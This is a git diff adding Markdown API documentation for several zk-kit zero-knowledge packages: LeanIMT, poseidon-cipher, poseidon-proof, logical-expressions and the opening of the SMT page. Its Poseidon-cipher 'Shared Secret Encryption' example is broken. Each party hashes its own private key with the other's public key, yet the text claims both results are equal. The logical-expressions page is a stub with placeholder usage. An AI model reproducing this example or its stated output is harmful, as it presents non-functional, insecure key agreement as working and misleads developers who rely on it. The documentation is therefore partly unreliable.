+**Example:**
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new LeanIMT((a, b) => poseidon2([a, b]), {
+  zeroValue: BigInt(0)
+})
+```
+
+### Properties
+
+#### `root`
+
+```typescript
+tree.root: Node
+```
+
+Returns the current root of the tree.
+
+#### `size`
+
+```typescript
+tree.size: number
+```
+
+Returns the number of leaves in the tree.
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(1))
+tree.insert(BigInt(2))
+console.log(tree.size) // 2
+```
+
+#### `depth`
+
+```typescript
+tree.depth: number
+```
+
+Returns the current depth of the tree (dynamically grows).
+
+**Example:**
+
+```typescript
+console.log(tree.depth) // e.g., 5
+tree.insert(BigInt(32)) // May increase depth
+console.log(tree.depth) // e.g., 6
+```
+
+#### `leaves`
+
+```typescript
+tree.leaves: Node[]
+```
+
+Returns all leaves in the tree.
+
+### Methods
+
+#### `insert`
+
+```typescript
+tree.insert(leaf: Node): void
+```
+
+Inserts a new leaf into the tree. The tree automatically grows if needed.
+
+**Parameters:**
+
+- `leaf`: The value to insert (typically a `bigint`)
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(123))
+tree.insert(BigInt(456))
+```
+
+#### `update`
+
+```typescript
+tree.update(index: number, newLeaf: Node): void
+```
+
+Updates a leaf at the specified index.
+
+**Parameters:**
+
+- `index`: Index of the leaf to update
+- `newLeaf`: New value for the leaf
+
+**Example:**
+
+```typescript
+tree.update(0, BigInt(999))
+```
+
+#### `has`
+
+```typescript
+tree.has(leaf: Node): boolean
+```
+
+Checks if a leaf exists in the tree.
+
+**Parameters:**
+
+- `leaf`: The leaf value to check
+
+**Returns:**
+
+- `boolean`: `true` if leaf exists
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(123))
+console.log(tree.has(BigInt(123))) // true
+console.log(tree.has(BigInt(456))) // false
+```
+
+#### `indexOf`
+
+```typescript
+tree.indexOf(leaf: Node): number
+```
+
+Returns the index of a leaf, or -1 if not found.
+
+**Parameters:**
+
+- `leaf`: The leaf value to search for
+
+**Returns:**
+
+- `number`: Index of the leaf or -1
+
+**Example:**
+
+```typescript
+tree.insert(BigInt(123))
+const index = tree.indexOf(BigInt(123))
+console.log(index) // 0
+```
+
+#### `generateProof`
+
+```typescript
+tree.generateProof(index: number): MerkleProof
+```
+
+Generates a Merkle proof for a leaf at the given index.
+
+**Parameters:**
+
+- `index`: Index of the leaf to prove
+
+**Returns:**
+
+- `MerkleProof`: Object containing proof data
+
+**Example:**
+
+```typescript
+const proof = tree.generateProof(2)
+console.log(proof)
+// {
+//   root: bigint,
+//   leaf: bigint,
+//   siblings: bigint[],
+//   index: number
+// }
+```
+
+#### `verifyProof`
+
+```typescript
+tree.verifyProof(proof: MerkleProof): boolean
+```
+
+Verifies a Merkle proof against the current tree root.
+
+**Parameters:**
+
+- `proof`: The proof object from `generateProof`
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+const proof = tree.generateProof(2)
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+#### Static: `verifyProof`
+
+```typescript
+LeanIMT.verifyProof(
+  proof: MerkleProof,
+  hash: (a: Node, b: Node) => Node
+): boolean
+```
+
+Verifies a proof without a tree instance.
+
+**Parameters:**
+
+- `proof`: The proof object
+- `hash`: Hash function used by the tree
+
+**Returns:**
+
+- `boolean`: `true` if proof is valid
+
+**Example:**
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+const hash = (a, b) => poseidon2([a, b])
+const isValid = LeanIMT.verifyProof(proof, hash)
+```
+
+#### `export`
+
+```typescript
+tree.export(): SerializedTree
+```
+
+Exports the tree to a serializable format for storage or transmission.
+
+**Returns:**
+
+- `SerializedTree`: Object that can be JSON stringified
+
+**Example:**
+
+```typescript
+const exported = tree.export()
+const json = JSON.stringify(exported)
+// Store in database or file
+```
+
+#### `import`
+
+```typescript
+LeanIMT.import(
+  hash: (a: Node, b: Node) => Node,
+  data: SerializedTree
+): LeanIMT
+```
+
+Creates a tree from exported data.
+
+**Parameters:**
+
+- `hash`: Hash function to use
+- `data`: Exported tree data
+
+**Returns:**
+
+- `LeanIMT`: Restored tree instance
+
+**Example:**
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+const hash = (a, b) => poseidon2([a, b])
+const data = JSON.parse(storedJson)
+const tree = LeanIMT.import(hash, data)
+```
+
+## Advanced Usage
+
+### Mobile-Optimized Voting
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+// For mobile apps, use LeanIMT to reduce memory footprint
+const voters = new LeanIMT((a, b) => poseidon2([a, b]))
+
+// Can handle thousands of voters with minimal memory
+for (let i = 0; i < 10000; i++) {
+  voters.insert(BigInt(i))
+}
+
+console.log(`Memory: ~${voters.size * 32}B`)
+// Significantly less than IMT
+```
+
+### Serverless Functions
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+
+// Export and import for serverless persistence
+export async function handler(event) {
+  const hash = (a, b) => poseidon2([a, b])
+  
+  // Load from database
+  const stored = await db.get("tree")
+  const tree = stored 
+    ? LeanIMT.import(hash, JSON.parse(stored))
+    : new LeanIMT(hash)
+  
+  // Perform operations
+  tree.insert(BigInt(event.data))
+  
+  // Save back
+  await db.set("tree", JSON.stringify(tree.export()))
+  
+  return { root: tree.root.toString() }
+}
+```
+
+### Persistent Storage
+
+```typescript
+import { LeanIMT } from "@zk-kit/lean-imt"
+import { poseidon2 } from "poseidon-lite"
+import fs from "fs"
+
+const hash = (a, b) => poseidon2([a, b])
+
+// Create or load tree
+let tree: LeanIMT
+
+if (fs.existsSync("tree.json")) {
+  const data = JSON.parse(fs.readFileSync("tree.json", "utf-8"))
+  tree = LeanIMT.import(hash, data)
+} else {
+  tree = new LeanIMT(hash)
+}
+
+// Modify tree
+tree.insert(BigInt(123))
+
+// Save tree
+fs.writeFileSync("tree.json", JSON.stringify(tree.export()))
+```
+
+## Performance Characteristics
+
+| Operation | Time Complexity | Memory |
+|-----------|----------------|--------|
+| Insert | O(log n) | O(k) where k is non-zero nodes |
+| Update | O(log n) | O(k) |
+| Generate Proof | O(log n) | O(log n) |
+| Verify Proof | O(log n) | O(log n) |
+| Get Root | O(1) | O(1) |
+| Export/Import | O(k) | O(k) |
+
+## Memory Comparison
+
+| Tree Size | IMT Memory | LeanIMT Memory | Savings |
+|-----------|-----------|---------------|---------|
+| 100 leaves | ~3.2 KB | ~0.3 KB | 90% |
+| 1K leaves | ~32 KB | ~3 KB | 90% |
+| 10K leaves | ~320 KB | ~30 KB | 90% |
+| 100K leaves | ~3.2 MB | ~300 KB | 90% |
+
+*Actual savings depend on tree density and zero value distribution*
+
+## Dependencies
+
+- Hash function (not included):
+  - `poseidon-lite` (recommended)
+  - Or any binary function matching `(a: Node, b: Node) => Node`
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type { LeanIMT, MerkleProof, Node, SerializedTree } from "@zk-kit/lean-imt"
+```
+
+## Related Documentation
+
+- [IMT Package](/docs/packages/javascript/imt) - Standard Merkle tree implementation
+- [Choosing a Package](/docs/packages/choosing-a-package) - When to use LeanIMT
+- [Merkle Trees](/docs/core-concepts/merkle-trees) - Core concepts
+
+## Common Use Cases
+
+- βœ… Mobile applications
+- βœ… Edge computing
+- βœ… Serverless functions
+- βœ… Memory-constrained environments
+- βœ… Dynamic tree sizes
+- βœ… Persistent storage needs
+
+## When to Use LeanIMT
+
+Use LeanIMT when:
+- Memory is limited (mobile, edge, serverless)
+- Tree size is unknown upfront
+- Need to persist/serialize tree
+- Can trade slight performance for memory
+
+Use [IMT](/docs/packages/javascript/imt) when:
+- Memory is not constrained
+- Need maximum performance
+- Tree size is fixed/known
+
+Use [SMT](/docs/packages/javascript/smt) when:
+- Need key-value storage
+- Need non-membership proofs
+
+## Limitations
+
+- Slightly slower than IMT (typically 10-20%)
+- Binary trees only (arity 2)
+- No random access to internal nodes
+
+## Source
+
+- **GitHub**: [zk-kit/packages/lean-imt](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/lean-imt)
+- **NPM**: [@zk-kit/lean-imt](https://www.npmjs.com/package/@zk-kit/lean-imt)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/lean-imt/examples)
+
+
+
diff --git a/docs/packages/javascript/logical-expressions.md b/docs/packages/javascript/logical-expressions.md
new file mode 100644
index 0000000..a47d02a
--- /dev/null
+++ b/docs/packages/javascript/logical-expressions.md
@@ -0,0 +1,52 @@
+---
+sidebar_position: 9
+title: logical-expressions
+---
+
+# @zk-kit/logical-expressions
+
+Boolean logic for zero-knowledge applications.
+
+## Overview
+
+The `@zk-kit/logical-expressions` package provides utilities for working with boolean expressions in zero-knowledge contexts.
+
+## Installation
+
+```bash
+npm install @zk-kit/logical-expressions
+```
+
+## Features
+
+- Boolean logic operations (AND, OR, NOT)
+- Expression evaluation
+- Circuit-friendly implementations
+- Type-safe TypeScript API
+
+## Basic Usage
+
+```typescript
+import { LogicalExpression } from "@zk-kit/logical-expressions"
+
+// Example usage
+// (Documentation to be expanded based on package API)
+```
+
+## Use Cases
+
+- **Policy Enforcement**: Define complex access rules
+- **Circuit Optimization**: Optimize boolean expressions for ZK circuits
+- **Conditional Logic**: Implement conditional statements in ZK
+
+## Links
+
+- [npm Package](https://www.npmjs.com/package/@zk-kit/logical-expressions)
+- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/logical-expressions)
+
+## Next Steps
+
+- [Packages Overview](/docs/packages/overview)
+- [Choosing a Package](/docs/packages/choosing-a-package)
+- [Quick Start](/docs/getting-started/quick-start)
+
diff --git a/docs/packages/javascript/poseidon-cipher.md b/docs/packages/javascript/poseidon-cipher.md
new file mode 100644
index 0000000..7d99663
--- /dev/null
+++ b/docs/packages/javascript/poseidon-cipher.md
@@ -0,0 +1,559 @@
+---
+sidebar_position: 5
+title: "@zk-kit/poseidon-cipher"
+---
+
+# @zk-kit/poseidon-cipher
+
+Poseidon-based encryption and decryption for zero-knowledge applications. This package provides ZK-friendly encryption that can be efficiently verified in circuits.
+
+## Overview
+
+Poseidon Cipher uses the Poseidon hash function to implement a stream cipher, making it:
+- **ZK-friendly**: Can be efficiently verified in ZK circuits
+- **Deterministic**: Same key + nonce always produces same ciphertext
+- **Lightweight**: Minimal overhead for ZK applications
+- **Secure**: Based on the cryptographically secure Poseidon hash
+
+## Installation
+
+```bash
+npm install @zk-kit/poseidon-cipher
+```
+
+**Peer Dependencies:**
+
+```bash
+npm install poseidon-lite
+```
+
+## Quick Start
+
+### Basic Encryption and Decryption
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+// Prepare data
+const plaintext = [BigInt(123), BigInt(456), BigInt(789)]
+const key = BigInt(999)
+const nonce = BigInt(0)
+
+// Encrypt
+const ciphertext = poseidonEncrypt(plaintext, key, nonce)
+console.log(ciphertext) // [encrypted values...]
+
+// Decrypt
+const decrypted = poseidonDecrypt(ciphertext, key, nonce, plaintext.length)
+console.log(decrypted) // [123n, 456n, 789n]
+```
+
+### Encrypting Messages
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+// Convert string to bigints
+function stringToInts(str: string): bigint[] {
+  const encoder = new TextEncoder()
+  const bytes = encoder.encode(str)
+  return Array.from(bytes, b => BigInt(b))
+}
+
+function intsToString(ints: bigint[]): string {
+  const bytes = new Uint8Array(ints.map(n => Number(n)))
+  const decoder = new TextDecoder()
+  return decoder.decode(bytes)
+}
+
+// Encrypt a message
+const message = "Hello, ZK!"
+const messageInts = stringToInts(message)
+const key = BigInt(12345)
+const nonce = BigInt(1)
+
+const encrypted = poseidonEncrypt(messageInts, key, nonce)
+
+// Decrypt
+const decryptedInts = poseidonDecrypt(encrypted, key, nonce, messageInts.length)
+const decryptedMessage = intsToString(decryptedInts)
+
+console.log(decryptedMessage) // "Hello, ZK!"
+```
+
+## API Reference
+
+### Encryption
+
+#### `poseidonEncrypt`
+
+```typescript
+poseidonEncrypt(
+  plaintext: bigint[],
+  key: bigint,
+  nonce: bigint
+): bigint[]
+```
+
+Encrypts an array of values using Poseidon cipher.
+
+**Parameters:**
+
+- `plaintext`: Array of values to encrypt
+- `key`: Encryption key
+- `nonce`: Number used once (must be unique for each encryption with same key)
+
+**Returns:**
+
+- `bigint[]`: Encrypted values (same length as plaintext)
+
+**Example:**
+
+```typescript
+import { poseidonEncrypt } from "@zk-kit/poseidon-cipher"
+
+const plaintext = [BigInt(1), BigInt(2), BigInt(3)]
+const key = BigInt(999)
+const nonce = BigInt(0)
+
+const ciphertext = poseidonEncrypt(plaintext, key, nonce)
+console.log(ciphertext.length) // 3
+```
+
+### Decryption
+
+#### `poseidonDecrypt`
+
+```typescript
+poseidonDecrypt(
+  ciphertext: bigint[],
+  key: bigint,
+  nonce: bigint,
+  length: number
+): bigint[]
+```
+
+Decrypts ciphertext encrypted with `poseidonEncrypt`.
+
+**Parameters:**
+
+- `ciphertext`: Encrypted values
+- `key`: Same key used for encryption
+- `nonce`: Same nonce used for encryption
+- `length`: Expected length of plaintext
+
+**Returns:**
+
+- `bigint[]`: Decrypted values
+
+**Example:**
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+const key = BigInt(999)
+const nonce = BigInt(0)
+const plaintext = [BigInt(1), BigInt(2), BigInt(3)]
+
+const ciphertext = poseidonEncrypt(plaintext, key, nonce)
+const decrypted = poseidonDecrypt(ciphertext, key, nonce, plaintext.length)
+
+console.log(decrypted) // [1n, 2n, 3n]
+```
+
+## Advanced Usage
+
+### Encrypted Messaging System
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+import { deriveSecretScalar } from "@zk-kit/eddsa-poseidon"
+import { poseidon2 } from "poseidon-lite"
+
+class EncryptedMessaging {
+  private key: bigint
+  private nonceCounter: bigint = BigInt(0)
+  
+  constructor(password: string) {
+    // Derive encryption key from password
+    this.key = deriveSecretScalar(password)
+  }
+  
+  encrypt(data: bigint[]): { ciphertext: bigint[], nonce: bigint } {
+    const nonce = this.nonceCounter++
+    const ciphertext = poseidonEncrypt(data, this.key, nonce)
+    return { ciphertext, nonce }
+  }
+  
+  decrypt(ciphertext: bigint[], nonce: bigint, length: number): bigint[] {
+    return poseidonDecrypt(ciphertext, this.key, nonce, length)
+  }
+}
+
+// Usage
+const alice = new EncryptedMessaging("alice-password")
+const bob = new EncryptedMessaging("bob-password")
+
+// Alice encrypts a message
+const message = [BigInt(1), BigInt(2), BigInt(3)]
+const { ciphertext, nonce } = alice.encrypt(message)
+
+// Bob can't decrypt with different key
+// const failed = bob.decrypt(ciphertext, nonce, message.length)
+
+// Alice can decrypt her own message
+const decrypted = alice.decrypt(ciphertext, nonce, message.length)
+console.log(decrypted) // [1n, 2n, 3n]
+```
+
+### Private Data Storage
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+import { poseidon1 } from "poseidon-lite"
+
+interface EncryptedRecord {
+  id: bigint
+  ciphertext: bigint[]
+  nonce: bigint
+  length: number
+}
+
+class PrivateDataStore {
+  private records: Map = new Map()
+  private key: bigint
+  
+  constructor(key: bigint) {
+    this.key = key
+  }
+  
+  store(id: bigint, data: bigint[]): void {
+    // Use ID as nonce (must be unique)
+    const nonce = poseidon1([id])
+    const ciphertext = poseidonEncrypt(data, this.key, nonce)
+    
+    this.records.set(id, {
+      id,
+      ciphertext,
+      nonce,
+      length: data.length
+    })
+  }
+  
+  retrieve(id: bigint): bigint[] | undefined {
+    const record = this.records.get(id)
+    if (!record) return undefined
+    
+    return poseidonDecrypt(
+      record.ciphertext,
+      this.key,
+      record.nonce,
+      record.length
+    )
+  }
+}
+
+// Usage
+const store = new PrivateDataStore(BigInt(12345))
+
+// Store encrypted data
+store.store(BigInt(1), [BigInt(100), BigInt(200)])
+store.store(BigInt(2), [BigInt(300), BigInt(400)])
+
+// Retrieve and decrypt
+const data = store.retrieve(BigInt(1))
+console.log(data) // [100n, 200n]
+```
+
+### Shared Secret Encryption
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+import { deriveSecretScalar, derivePublicKey } from "@zk-kit/eddsa-poseidon"
+import { poseidon2 } from "poseidon-lite"
+
+function deriveSharedSecret(myPrivateKey: bigint, theirPublicKey: Point): bigint {
+  // Simplified ECDH-like shared secret
+  // In production, use proper ECDH
+  return poseidon2([myPrivateKey, theirPublicKey.x, theirPublicKey.y])
+}
+
+// Alice and Bob generate keys
+const alicePrivate = deriveSecretScalar("alice-secret")
+const alicePublic = derivePublicKey(alicePrivate)
+
+const bobPrivate = deriveSecretScalar("bob-secret")
+const bobPublic = derivePublicKey(bobPrivate)
+
+// Alice derives shared secret with Bob's public key
+const aliceSharedSecret = deriveSharedSecret(alicePrivate, bobPublic)
+
+// Bob derives the same shared secret with Alice's public key
+const bobSharedSecret = deriveSharedSecret(bobPrivate, alicePublic)
+
+// They now have the same shared secret
+console.log(aliceSharedSecret === bobSharedSecret) // true
+
+// Alice encrypts a message for Bob
+const message = [BigInt(1), BigInt(2), BigInt(3)]
+const nonce = BigInt(0)
+const encrypted = poseidonEncrypt(message, aliceSharedSecret, nonce)
+
+// Bob decrypts the message
+const decrypted = poseidonDecrypt(encrypted, bobSharedSecret, nonce, message.length)
+console.log(decrypted) // [1n, 2n, 3n]
+```
+
+### Encrypted State Updates
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+interface EncryptedState {
+  encrypted: bigint[]
+  nonce: bigint
+  version: number
+}
+
+class EncryptedStateManager {
+  private key: bigint
+  private version: number = 0
+  
+  constructor(key: bigint) {
+    this.key = key
+  }
+  
+  encrypt(state: bigint[]): EncryptedState {
+    const nonce = BigInt(this.version++)
+    const encrypted = poseidonEncrypt(state, this.key, nonce)
+    
+    return {
+      encrypted,
+      nonce,
+      version: Number(nonce)
+    }
+  }
+  
+  decrypt(encryptedState: EncryptedState, length: number): bigint[] {
+    return poseidonDecrypt(
+      encryptedState.encrypted,
+      this.key,
+      encryptedState.nonce,
+      length
+    )
+  }
+}
+
+// Usage
+const stateManager = new EncryptedStateManager(BigInt(999))
+
+// Encrypt initial state
+const state1 = [BigInt(10), BigInt(20)]
+const encrypted1 = stateManager.encrypt(state1)
+
+// Update state
+const state2 = [BigInt(30), BigInt(40)]
+const encrypted2 = stateManager.encrypt(state2)
+
+// Decrypt any version
+const decrypted1 = stateManager.decrypt(encrypted1, 2)
+console.log(decrypted1) // [10n, 20n]
+
+const decrypted2 = stateManager.decrypt(encrypted2, 2)
+console.log(decrypted2) // [30n, 40n]
+```
+
+### Chunked Encryption for Large Data
+
+```typescript
+import { poseidonEncrypt, poseidonDecrypt } from "@zk-kit/poseidon-cipher"
+
+const CHUNK_SIZE = 10
+
+function encryptLarge(
+  data: bigint[],
+  key: bigint,
+  baseNonce: bigint
+): bigint[][] {
+  const chunks: bigint[][] = []
+  
+  for (let i = 0; i < data.length; i += CHUNK_SIZE) {
+    const chunk = data.slice(i, i + CHUNK_SIZE)
+    const chunkNonce = baseNonce + BigInt(i / CHUNK_SIZE)
+    const encrypted = poseidonEncrypt(chunk, key, chunkNonce)
+    chunks.push(encrypted)
+  }
+  
+  return chunks
+}
+
+function decryptLarge(
+  chunks: bigint[][],
+  key: bigint,
+  baseNonce: bigint,
+  totalLength: number
+): bigint[] {
+  const result: bigint[] = []
+  
+  for (let i = 0; i < chunks.length; i++) {
+    const chunkNonce = baseNonce + BigInt(i)
+    const chunkLength = Math.min(CHUNK_SIZE, totalLength - result.length)
+    const decrypted = poseidonDecrypt(chunks[i], key, chunkNonce, chunkLength)
+    result.push(...decrypted)
+  }
+  
+  return result
+}
+
+// Usage
+const largeData = Array.from({ length: 100 }, (_, i) => BigInt(i))
+const key = BigInt(12345)
+const nonce = BigInt(0)
+
+const encrypted = encryptLarge(largeData, key, nonce)
+console.log(`${encrypted.length} chunks`)
+
+const decrypted = decryptLarge(encrypted, key, nonce, largeData.length)
+console.log(decrypted.length) // 100
+```
+
+## Security Considerations
+
+### Nonce Reuse
+
+```typescript
+// ❌ DANGEROUS: Reusing nonce with same key
+const key = BigInt(999)
+const nonce = BigInt(0)
+
+const msg1 = [BigInt(1)]
+const msg2 = [BigInt(2)]
+
+const enc1 = poseidonEncrypt(msg1, key, nonce)
+const enc2 = poseidonEncrypt(msg2, key, nonce) // SAME NONCE!
+
+// This leaks information about the plaintexts!
+
+// βœ… SAFE: Unique nonce for each encryption
+const enc1_safe = poseidonEncrypt(msg1, key, BigInt(0))
+const enc2_safe = poseidonEncrypt(msg2, key, BigInt(1))
+```
+
+### Key Management
+
+```typescript
+import { deriveSecretScalar } from "@zk-kit/eddsa-poseidon"
+import crypto from "crypto"
+
+// βœ… Good: Strong key derivation
+const strongKey = deriveSecretScalar(crypto.randomBytes(32))
+
+// ❌ Bad: Weak key
+const weakKey = BigInt(123)
+```
+
+### Nonce Generation
+
+```typescript
+// βœ… Good: Sequential counter
+let nonce = BigInt(0)
+const enc1 = poseidonEncrypt(msg, key, nonce++)
+const enc2 = poseidonEncrypt(msg, key, nonce++)
+
+// βœ… Good: Random (ensure no collisions)
+import crypto from "crypto"
+const randomNonce = BigInt('0x' + crypto.randomBytes(32).toString('hex'))
+
+// βœ… Good: Hash-based deterministic
+import { poseidon1 } from "poseidon-lite"
+const deterministicNonce = poseidon1([messageId, timestamp])
+```
+
+## Performance Characteristics
+
+| Operation | Time (per element) | Notes |
+|-----------|-------------------|-------|
+| Encrypt | ~2ms | Using Poseidon |
+| Decrypt | ~2ms | Same as encrypt |
+| Key Derivation | ~5ms | One-time operation |
+
+## Limitations
+
+- **Not authenticated**: No built-in authentication (use with EdDSA for authenticity)
+- **Deterministic**: Same plaintext + key + nonce = same ciphertext
+- **Stream cipher**: Encrypts each element independently
+- **No padding**: Ciphertext length = plaintext length
+
+## Dependencies
+
+- `poseidon-lite`: For Poseidon hash function
+
+## TypeScript Support
+
+Full TypeScript support with type definitions included.
+
+```typescript
+import type { PoseidonCipher } from "@zk-kit/poseidon-cipher"
+```
+
+## Related Documentation
+
+- [EdDSA-Poseidon](/docs/packages/javascript/eddsa-poseidon) - For message authentication
+- [Utils](/docs/packages/javascript/utils) - For field operations
+- [Development Setup](/docs/getting-started/development-setup) - Setup guide
+
+## Common Use Cases
+
+- βœ… Encrypted messaging
+- βœ… Private data storage
+- βœ… Encrypted state management
+- βœ… Confidential transactions
+- βœ… Privacy-preserving applications
+- βœ… ZK-friendly encryption
+
+## When to Use Poseidon Cipher
+
+Use Poseidon Cipher when:
+- Need ZK-friendly encryption
+- Data will be used in ZK circuits
+- Building privacy-preserving apps
+- Need deterministic encryption
+
+Use AES when:
+- Not using zero-knowledge proofs
+- Need standard encryption
+- Performance is critical (non-ZK)
+
+## Circuit Compatibility
+
+Compatible with Circom circuits for encrypted proofs:
+
+```circom
+template PoseidonDecrypt() {
+    // Decrypts in-circuit
+    // Compatible with this package
+}
+```
+
+See [Circom Packages](/docs/packages/circom/overview) for circuit implementations.
+
+## Best Practices
+
+1. **Never reuse nonces** with the same key
+2. **Use strong keys** (derived from secure random)
+3. **Consider authentication** (combine with EdDSA signatures)
+4. **Store nonces** with ciphertext for decryption
+5. **Use unique nonces** (counter, random, or hash-based)
+
+## Source
+
+- **GitHub**: [zk-kit/packages/poseidon-cipher](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/poseidon-cipher)
+- **NPM**: [@zk-kit/poseidon-cipher](https://www.npmjs.com/package/@zk-kit/poseidon-cipher)
+- **License**: MIT
+
+## Community
+
+- πŸ’¬ [GitHub Discussions](https://github.com/privacy-scaling-explorations/zk-kit/discussions)
+- πŸ› [Report Issues](https://github.com/privacy-scaling-explorations/zk-kit/issues)
+- πŸ“š [Examples](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/poseidon-cipher/examples)
+
diff --git a/docs/packages/javascript/poseidon-proof.md b/docs/packages/javascript/poseidon-proof.md
new file mode 100644
index 0000000..f8c192b
--- /dev/null
+++ b/docs/packages/javascript/poseidon-proof.md
@@ -0,0 +1,125 @@
+---
+sidebar_position: 7
+title: poseidon-proof
+---
+
+# @zk-kit/poseidon-proof
+
+Library to generate and verify Poseidon proofs.
+
+## Overview
+
+The `@zk-kit/poseidon-proof` package allows you to prove possession of pre-images without revealing them, with integration for Semaphore V4. It includes nullifier generation to prevent double-usage and supports 1-16 inputs.
+
+:::caution Warning
+Currently uses insecure trusted setup and has not been audited. Not recommended for production use.
+:::
+
+## Features
+
+- Prove possession of pre-images without revealing them
+- Integration with Semaphore V4
+- Nullifier generation to prevent double-usage
+- Supports 1-16 inputs
+
+## Installation
+
+```bash
+npm install @zk-kit/poseidon-proof
+```
+
+## Basic Usage
+
+```typescript
+import { generate, verify } from "@zk-kit/poseidon-proof"
+
+const scope = "scope"
+const messages = [1, 2]
+
+// Generate proof
+const fullProof = await generate(messages, scope)
+// { scope, digest, nullifier, proof }
+
+// Verify proof
+const isValid = await verify(fullProof)
+console.log(isValid) // true
+```
+
+## API
+
+### `generate(messages, scope)`
+
+Generates a Poseidon proof for the given messages and scope.
+
+**Parameters:**
+- `messages`: Array of 1-16 numbers to prove
+- `scope`: String identifier for the proof scope
+
+**Returns:** Object containing `scope`, `digest`, `nullifier`, and `proof`
+
+### `verify(fullProof)`
+
+Verifies a Poseidon proof.
+
+**Parameters:**
+- `fullProof`: The full proof object from `generate()`
+
+**Returns:** Boolean indicating if the proof is valid
+
+## Use Cases
+
+- **Prove Data Without Revealing**: Demonstrate you have certain data without showing it
+- **Prevent Replay Attacks**: Use nullifiers to ensure proofs can't be reused
+- **Semaphore Integration**: Works with Semaphore V4 protocol
+
+## Security Considerations
+
+:::danger Important
+- ⚠️ Uses insecure trusted setup
+- ⚠️ Not audited
+- ⚠️ Do not use in production
+- ⚠️ For testing and development only
+:::
+
+## Example: Anonymous Attestation
+
+```typescript
+import { generate, verify } from "@zk-kit/poseidon-proof"
+
+async function createAttestation() {
+  const secrets = [123, 456] // Your private data
+  const appScope = "my-app-v1"
+  
+  // Create proof
+  const proof = await generate(secrets, appScope)
+  
+  // Proof reveals:
+  // - digest: hash of the secrets
+  // - nullifier: prevents double use
+  // Proof hides:
+  // - The actual secret values
+  
+  return proof
+}
+
+async function verifyAttestation(proof: any) {
+  const isValid = await verify(proof)
+  
+  if (isValid) {
+    // Check nullifier hasn't been used
+    // Grant access/credits/etc
+  }
+}
+```
+
+## Links
+
+- [npm Package](https://www.npmjs.com/package/@zk-kit/poseidon-proof)
+- [GitHub Repository](https://github.com/privacy-scaling-explorations/zk-kit/tree/main/packages/poseidon-proof)
+
+## Next Steps
+
+- [Packages Overview](/docs/packages/overview)
+- [Choosing a Package](/docs/packages/choosing-a-package)
+- [Quick Start](/docs/getting-started/quick-start)
+
diff --git a/docs/packages/javascript/smt.md b/docs/packages/javascript/smt.md
new file mode 100644
index 0000000..358bcdf
--- /dev/null
+++ b/docs/packages/javascript/smt.md
@@ -0,0 +1,562 @@
+---
+sidebar_position: 3
+title: "@zk-kit/smt"
+---
+
+# @zk-kit/smt
+
+Sparse Merkle Tree (SMT) implementation for zero-knowledge applications. SMT provides key-value storage with cryptographic proofs for both membership and non-membership, making it ideal for state management and databases.
+
+## Overview
+
+Unlike IMT and LeanIMT which are optimized for membership proofs, SMT is designed for:
+- Key-value storage with ZK proofs
+- Proving a key does NOT exist (non-membership proofs)
+- Frequent updates and deletions
+- Sparse data sets (most leaves are empty)
+
+## Installation
+
+```bash
+npm install @zk-kit/smt crypto-js
+```
+
+**Required Dependencies:**
+
+```bash
+# For hashing
+npm install crypto-js
+```
+
+## Quick Start
+
+### Basic Usage
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+// Create a tree
+const tree = new SMT(poseidon2, true)
+
+// Add key-value pairs
+tree.add(BigInt(1), BigInt(100))
+tree.add(BigInt(2), BigInt(200))
+tree.add(BigInt(3), BigInt(300))
+
+// Get value
+const value = tree.get(BigInt(2))
+console.log(value) // 200n
+
+// Get root
+console.log(tree.root)
+
+// Generate membership proof
+const proof = tree.createProof(BigInt(2))
+
+// Verify proof
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+### Non-Membership Proofs
+
+```typescript
+import { SMT } from "@zk-kit/smt"
+import { poseidon2 } from "poseidon-lite"
+
+const tree = new SMT(poseidon2, true)
+
+tree.add(BigInt(1), BigInt(100))
+tree.add(BigInt(2), BigInt(200))
+
+// Prove that key 5 does NOT exist
+const proof = tree.createProof(BigInt(5))
+
+console.log(proof.membership) // false
+
+// Verify non-membership proof
+const isValid = tree.verifyProof(proof)
+console.log(isValid) // true
+```
+
+## API Reference
+
+### Constructor
+
+```typescript
+new SMT(
+  hash: HashFunction,
+  bigNumbers?: boolean
+): SMT
+```
+
+**Parameters:**
+
+- `hash`: Hash function (typically Poseidon)
+- `bigNumbers`: If `true`, uses `BigInt`, else uses hex strings
+
+**Example:**
+
+```typescript
+import { SMT } from "@zk-kit/smt"
